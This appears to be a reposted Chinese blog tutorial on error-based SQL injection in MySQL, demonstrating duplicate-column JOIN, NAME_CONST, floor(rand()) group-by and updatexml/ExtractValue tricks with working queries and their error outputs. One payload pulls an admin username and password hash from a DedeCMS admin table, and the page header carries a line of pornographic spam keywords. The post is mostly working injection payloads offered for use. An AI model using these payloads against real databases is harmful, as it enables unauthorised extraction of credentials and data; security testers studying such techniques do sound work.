日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

MySQL注入中报错的利用

發布時間:2025/5/22 数据库 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 MySQL注入中报错的利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

MySQL注入中報錯的利用

?

在很多的情況 下我們不能直接方便的進行注入,于是有了BENCHMARK延遲注射,如果能得到MySQL的錯誤信息的話,現在又有了更方便的方法。

網上流傳了兩三種方法,以前我在BLOG也記錄了其中一種:

//利用MySQL出錯爆出字段
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
ERROR 1060 (42S21): Duplicate column name 'Password'
.....

//得到信息


//可能是版本問題,我測試沒能成功

mysql> SELECT NAME_CONST((SELECT Host FROM user LIMIT 0,1),0);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

好像是NAME_CONST的參數必須為CONST還是怎么了,悲劇。
下次再好好測試一下。


Update:確實是版本的問題(高版本要求參數全為const,否則報錯),這方法的通用性看來不是很好。

mysql> SELECT version();
+---------------------+
| version()?????????? |
+---------------------+
| 5.0.27-community-nt |
+---------------------+
1 row in set (0.00 sec)

mysql> SELECT NAME_CONST((SELECT user()),0);
+----------------+
| root@localhost |
+----------------+
|????????????? 0 |
+----------------+
1 row in set (0.00 sec)

-------------------------------------
mysql> SELECT version();
+------------------+
| version()??????? |
+------------------+
| 5.1.35-community |
+------------------+
1 row in set (0.00 sec)

mysql> SELECT NAME_CONST((SELECT version()),0);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

?

前段時間在t00ls上看到的另一種:
http://www.t00ls.net/thread-8745-1-4.html《Modoer 1.2.5 注入0day 利用方法》

類似這樣

mysql> SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 'x'))a fro
m information_schema.tables group by a)b;
ERROR 1062 (23000): Duplicate entry '1x' for key 'group_key'

這種方法對MySQL版本沒什么要求,但只能爆出64字節的數據,用這種方法遇到大數據只能MID慢慢來了。

?

最后一種(只針對MySQL 5.1++)

http://hi.baidu.com/lucidc/blog/item/71d080b031fb3a5908230262.html
http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-pack.html

通過對ExtractValue函數傳遞不合XPATH語法規則的參數來爆出數據。
ExtractValue、UpdateXML函數參見:http://dev.mysql.com/tech-resources/articles/mysql-5.1-xml.html

利用方法:

mysql> SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a
,MID(pwd,4,16),0x5d) FROM dede_admin),1);
ERROR 1105 (HY000): XPATH syntax error: '[admin:7a57a5a743894a0e]'

比上一種方法方便簡潔,不過這方法只能爆出32字節的數據。同樣,大數據只能Mid了

轉載于:https://blog.51cto.com/pnig0s1992/479694

總結

以上是生活随笔為你收集整理的MySQL注入中报错的利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。